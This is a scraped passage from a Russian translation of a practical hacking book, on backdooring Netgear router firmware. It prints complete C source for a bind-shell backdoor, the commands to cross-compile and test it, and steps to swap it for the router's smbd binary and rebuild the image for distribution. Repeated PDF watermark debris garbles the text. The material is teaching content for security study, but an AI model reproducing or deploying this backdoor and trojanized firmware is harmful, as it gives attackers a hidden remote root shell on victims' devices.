Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / практический хакинг.pdf
Скачиваний:
24
Добавлен:
19.04.2024
Размер:
31.35 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

раз перезапустить HTTP-сервер микропрограммы. Мы оставляем это

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

упражнение для вас.

 

w

 

df-x chan

 

o

 

 

.

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

e

 

Мы не будем рассматривать сетевые атаки в этой главе, но вы мо- жетеиспользоватьинформациювглаве4длявыявленияуязвимостей в сетевом стеке и службах. Начните с оценки HTTP-службы устрой- ства. Например, исходный код общедоступной страницы /cgi-bin/ passrec.asp содержит пароль администратора. Netgear опубликовал эту уязвимость по адресу https://kb.netgear.com/30490/CVE-2015-8289-Au- thentication-Bypass-Using-an-Alternate-Path-or-Channel/.

Внедрение бэкдора в прошивку

Бэкдор – это программное обеспечение, спрятанное внутри­ целево- го устройства и позволяющее злоумышленнику получить несанкци- онированный доступ к системе. В этом разделе мы модифицируем прошивку, добавив крошечный бэкдор, который будет запускаться при загрузке прошивки, предоставляя злоумышленнику оболочку с устройства жертвы. Кроме того, бэкдор позволит нам выполнять динамический анализ с правами суперпользователя на реальном и функциональном устройстве. Этот подход чрезвычайно полезен в случаях, когда FIRMADYNE не может правильно эмулировать все функции микропрограммы.

В качестве агента бэкдора мы будем использоватьпростую оболоч- ку связывания, написанную Осандой Малитом (Osanda Malith) на C (листинг 9.1). Этот сценарий прослушивает новые входящие подклю- чения к предопределенному сетевому порту и позволяет удаленное выполнение кода.Мыдобавили команду fork() к исходному скрипту, чтобы он работал в фоновом режиме. Это создаст новый дочерний процесс,который одновременно будетвыполняться в фоновом режи- ме, в то время как родительский процесс просто приостанавливает свою работу и уберегает вызываемую программу от остановки.

Листинг 9.1. Модифицированная версия бэкдор-скрипта Осанды Малита (https:// github.com/OsandaMalith/TP-Link/blob/master/bindshell.c)

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h>

#define SERVER_PORT 9999

/* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)

*Bind Shell using Fork for my TP-Link mr3020 router running busybox

*Arch : MIPS

*mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc

*/

int main() {

264  Глава 9

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

int serverfd, clientfd, server_pid, i = 0;

char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n"; char *args[] = { "/bin/busybox", "sh", (char *) 0 };

struct sockaddr_in server, client; socklen_t len;

int x = fork(); if (x == 0){

server.sin_family = AF_INET; server.sin_port = htons(SERVER_PORT); server.sin_addr.s_addr = INADDR_ANY;

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

serverfd = socket(AF_INET, SOCK_STREAM, 0);

bind(serverfd, (struct sockaddr *)&server, sizeof(server)); listen(serverfd, 1);

while (1) {

len = sizeof(struct sockaddr);

clientfd = accept(serverfd, (struct sockaddr *)&client, &len); server_pid = fork();

if (server_pid) {

write(clientfd, banner, strlen(banner)); for(; i <3 /*u*/; i++) dup2(clientfd, i); execve("/bin/busybox", args, (char *) 0); close(clientfd);

} close(clientfd);

}

}

return 0;

}

После выполнения сценарий начнет прослушивание порта 9999 и выполнит любой ввод, полученный через этот порт, как системную команду.

Чтобы скомпилировать агент бэкдора, нам сначала нужно настро- ить компиляцию среды. Самый простой способ – использовать часто обновляемую цепочку инструментов проекта OpenWrt.

$ git clone https://github.com/openwrt/openwrt $ cd openwrt

$ ./scripts/feeds update -a $ ./scripts/feeds install -a $ make menuconfig

По умолчанию эти команды будут компилировать микропрограм-

му для маршрутизаторов Atheros AR7 типа System on a Chip (SoC), ко-

торые основаны на процессорах MIPS. Чтобы установить другое зна- чение,нажмите Target System (Целевая система) и выберите одно из доступных устройств Atheros AR7 (рис. 9.4).

Затем сохраните изменения в новом файле конфигурации, нажав кнопку SAVE (Сохранить), и выйдите из меню, нажав кнопку EXIT

(Выход),– рис. 9.5.

Взлом прошивки  265

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Рис.9.4.Перенастройка целевой среды сборки OpenWrt

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис.9.5.Выбор цели Atheros в настройках OpenWrt

Скомпилируйте набор инструментов с помощью­ команды make:

$ make toolchain/install

time: target/linux/prereq#0.53#0.11#0.63 make[1] toolchain/install

make[2] tools/compile

make[3] -C tools/flock compile

В папке staging_dir/toolchain-mips_24kc_gcc-8.3.0_musl/bin/OpenWrt

вы найдете компилятор mips-openwrt-linux-gcc, который можно ис- пользовать следующим образом:

$ export STAGING_DIR="/root/Desktop/mips_backdoor/openwrt/staging_dir"

$ ./openwrt/staging_dir/toolchain-mips_24kc_gcc-8.3.0_musl/bin/mips-openwrt-linux-gcc bindshell.c -o bindshell -static -EB -march=24kc

Эти команды должны создать двоичный файл с именем bindshell. Перенесите двоичный файл в эмулируемую микропрограмму с по­ мощью FIRMADYNE и убедитесь,что она работает правильно. Вы мо-

266  Глава 9

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

жетелегко это сделать,используя Pythonдля создания мини-веб-сер-

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

вера в папке, в которой находится двоичный файл:

 

w

 

df-x chan

 

o

 

 

.

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

e

 

$ python -m SimpleHTTPServer 8080 /

Затем в эмулируемой прошивке загрузите двоичный файл с по­ мощью команды wget:

$ wget http://192.168.1.2:8080/bindshell

 

Connecting to 192.168.1.2[192.168.1.2]:80

 

bindshell 100% |*****************************| 68544

00:00 ETA

$ chmod +x ./bindshell

 

$ ./bindshell

 

 

 

Чтобы убедиться, что агент бэкдора работает, попробуйте подклю- читься к нему с вашего хост-устройства с помощью­ Netcat. Должна появиться интерактивная оболочка.

$ nc 192.168.1.1 9999

 

 

 

[~] Welcome to @OsandaMalith's Bind Shell

 

ls -l

 

 

 

 

drwxr-xr-x

2 0

0

4096

bin

drwxr-xr-x

4 0

0

4096

boaroot

drwxr-xr-x

6 0

0

4096

dev

 

 

 

 

 

 

 

 

 

На этом этапе нужно внести изменения в прошивку, чтобы можно было распространять ее.

Для этой цели мы можем использовать проект firmware-mod-kit с открытым исходным кодом. Начните с установки необходимых си- стемных пакетов с помощью­ apt-get:

$ sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic

Bsdmainutils

Используйте команду git,чтобы загрузить приложение из репози- тория GitHub. В этом репозитории размещен форк (альтернативный вариант) приложения, поскольку исходная версия больше не под- держивается. Папка приложения содержит сценарий с именем ./ex- tract-firmware.sh, который можно использовать для извлечения мик­ ропрограммы с помощью­ процесса, аналогичного FIRMADYNE.

$ git clone https://github.com/rampageX/firmware-mod-kit $ cd firmware-mod-kit

$ ./extract-firmware.sh D6000-V1.0.0.41_1.0.1.bin

Firmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake Preparing tools ...

Взлом прошивки  267

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Extracting 1418962 bytes of header image at offset 0 Extracting squashfs file system at offset 1418962 Extracting 2800 byte footer from offset 9668730 Extracting squashfs files...

Firmware extraction successful!

Firmware parts can be found in '/root/Desktop/firmware-mod-kit/fmk/*'

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Чтобы атака была успешной, микропрограмма должна заменить существующий двоичный файл, который запускается автоматиче- ски, гарантируя, что любое нормальное использование устройства запустит бэкдор. На этапе динамического анализа мы действительно идентифицировалитакойдвоичныйфайл–службуSMB,работающую напорте445.Выможетенайтидвоичныйфайлsmbdвкаталоге/userfs/ bin/smbd. Давайте заменим его на bindshell:

$ cp bindshell /userfs/bin/smbd

После заменыдвоичного файла восстановите прошивку,используя сборку – скрипт прошивки:

$ ./build-firmware.sh

firmware Mod Kit (build) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake Building new squashfs file system... (this may take several minutes!) Squashfs block size is 128 Kb

Firmware header not supported; firmware checksums may be incorrect.

New firmware image has been saved to: /root/Desktop/firmware-mod-kit/fmk/new-firmware.bin

Затем с помощью­ firmadyne убедитесь, что при загрузке микро- программы оболочка все еще работает.Используя netstat,вы можете проверить, что служба SMB микропрограммы, которая обычно ожи- даетновых подключений через порт445,была заменена агентом бэк- дора, который прослушивает новые подключения к порту 9999:

$ netstat -a

-n -u -t

 

 

Active Internet connections (servers and established)

 

Proto Recv-Q

Send-Q Local Address

Foreign Address

State

tcp

0

0

0.0.0.0:3333

0.0.0.0:*

LISTEN

tcp

0

0

0.0.0.0:9999

0.0.0.0:*

LISTEN

tcp

0

0

0.0.0.0:53

0.0.0.0:*

LISTEN

tcp

0

0

192.168.1.1:23

0.0.0.0:*

LISTEN

tcp

0

0

:::80

:::*

LISTEN

tcp

0

0

:::53

:::*

LISTEN

tcp

0

0

:::443

:::*

LISTEN

udp

0

0

0.0.0.0:57218

0.0.0.0:*

 

udp

0

0

192.168.1.1:137

0.0.0.0:*

 

udp

0

0

0.0.0.0:137

0.0.0.0:*

 

udp

0

0

192.168.1.1:138

0.0.0.0:*

 

udp

0

0

0.0.0.0:138

0.0.0.0:*

 

268  Глава 9